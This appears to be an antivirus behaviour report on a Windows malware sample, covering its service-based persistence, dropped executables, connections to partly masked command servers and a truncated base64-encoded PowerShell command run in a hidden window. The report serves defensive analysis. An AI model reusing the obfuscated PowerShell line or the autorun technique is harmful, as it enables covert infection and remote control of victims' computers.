Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\ctntiab] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\ctntiab] 'ImagePath' = '"%WINDIR%\SysWOW64\ctntiab.exe"'
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -en PAAjACAAUABuAG0AZgBhAHcAcgBlAG0AYQBpACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvAE0AbwBqAGwAegB6AG0AYwBiAGYAdAB0ACAAIwA+ACAAJABGAG4AcwBrAHMAbAB4AHcAcQBjAHoAPQAnA...
Modifies file system
Creates the following files
- %HOMEPATH%\75.exe
Moves the following files
- from %HOMEPATH%\75.exe to %WINDIR%\syswow64\ctntiab.exe
Network activity
Connects to
- '85.##.138.55':8080
- '21#.#29.24.79':8080
TCP
HTTP POST requests
- http://21#.##9.24.79:8080/stubs/
UDP
- DNS ASK to####billiards.ca
Miscellaneous
Creates and executes the following
- '%HOMEPATH%\75.exe'
- '%WINDIR%\syswow64\ctntiab.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -en PAAjACAAUABuAG0AZgBhAHcAcgBlAG0AYQBpACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvAE0AbwBqAGwAegB6AG0AYwBiAGYAdAB0ACAAIwA+ACAAJABGAG4AcwBrAHMAbAB4AHcAcQBjAHoAPQAnA...' (with hidden window)
